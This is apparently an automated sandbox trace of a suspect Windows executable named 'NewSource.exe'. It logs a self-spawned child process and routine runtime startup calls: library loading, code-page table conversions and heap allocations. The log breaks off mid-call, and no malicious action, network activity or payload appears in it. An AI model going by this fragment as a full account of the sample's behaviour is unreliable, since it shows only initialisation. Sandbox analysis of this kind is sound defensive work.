GetLastError () returned 0x0 [0045.026] SetLastError (dwErrCode=0x0) [0045.026] GetLastError () returned 0x0 [0045.026] SetLastError (dwErrCode=0x0) [0045.026] GetLastError () returned 0x0 [0045.026] SetLastError (dwErrCode=0x0) [0045.026] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0045.026] CreateProcessW (in: lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpCommandLine="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" ", lpProcessAttributes=0x4fae48, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4fae64*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff), lpProcessInformation=0x4fae54 | out: lpCommandLine="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" ", lpProcessInformation=0x4fae54*(hProcess=0x110, hThread=0x10c, dwProcessId=0xdbc, dwThreadId=0x9b0)) returned 1 [0045.035] WaitForSingleObject (hHandle=0x110, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9d8 Process: id = "2" image_name = "cusers777downloadsnewsourcenewsource.exe" filename = "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe" page_root = "0x7305d000" os_pid = "0xdbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x4a0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x9b0 [0045.254] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0045.254] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0045.255] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0045.255] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0045.255] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0045.255] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0045.255] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0045.255] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0045.256] GetProcessHeap () returned 0x1030000 [0045.256] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0045.256] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0045.256] GetLastError () returned 0x36b7 [0045.256] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0045.256] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x364) returned 0x103d160 [0045.256] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0045.256] SetLastError (dwErrCode=0x36b7) [0045.256] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0xc00) returned 0x103d4d0 [0045.270] GetStartupInfoW (in: lpStartupInfo=0x9bf858 | out: lpStartupInfo=0x9bf858*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0045.271] GetStdHandle (nStdHandle=0xfffffff6) returned 0xffffffff [0045.271] GetStdHandle (nStdHandle=0xfffffff5) returned 0xffffffff [0045.271] GetStdHandle (nStdHandle=0xfffffff4) returned 0xffffffff [0045.271] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0045.271] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe\" " [0045.271] GetLastError () returned 0x6 [0045.271] SetLastError (dwErrCode=0x6) [0045.271] GetLastError () returned 0x6 [0045.271] SetLastError (dwErrCode=0x6) [0045.271] GetACP () returned 0x4e4 [0045.271] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x220) returned 0x103e0d8 [0045.271] IsValidCodePage (CodePage=0x4e4) returned 1 [0045.271] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9bf888 | out: lpCPInfo=0x9bf888) returned 1 [0045.271] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9bf150 | out: lpCPInfo=0x9bf150) returned 1 [0045.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bf764, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bf764, cbMultiByte=256, lpWideCharStr=0x9beee8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0045.271] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x9bf164 | out: lpCharType=0x9bf164) returned 1 [0045.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bf764, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bf764, cbMultiByte=256, lpWideCharStr=0x9bee98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0045.271] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0045.271] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0045.271] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0045.271] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x9bec88, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0045.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x9bf664, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xfc\x7f\xdf\x6b\xa0\xf8\x9b", lpUsedDefaultChar=0x0) returned 256 [0045.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bf764, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bf764, cbMultiByte=256, lpWideCharStr=0x9beeb8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0045.271] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0045.271] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x9beca8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0045.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x9bf564, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xfc\x7f\xdf\x6b\xa0\xf8\x9b", lpUsedDefaultChar=0x0) returned 256 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x80) returned 0x10343d0 [0045.272] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd89ec0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe")) returned 0x40 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x8a) returned 0x1033b38 [0045.272] RtlInitializeSListHead (in: ListHead=0xd89da8 | out: ListHead=0xd89da8) [0045.272] GetLastError () returned 0x0 [0045.272] SetLastError (dwErrCode=0x0) [0045.272] GetEnvironmentStringsW () returned 0x103e300* [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0xb38) returned 0x103ee40 [0045.272] FreeEnvironmentStringsW (penv=0x103e300) returned 1 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x98) returned 0x1033d98 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x3e) returned 0x1038038 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x50) returned 0x1034da0 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x6e) returned 0x1037df8 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x78) returned 0x10386a0 [0045.272] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x62) returned 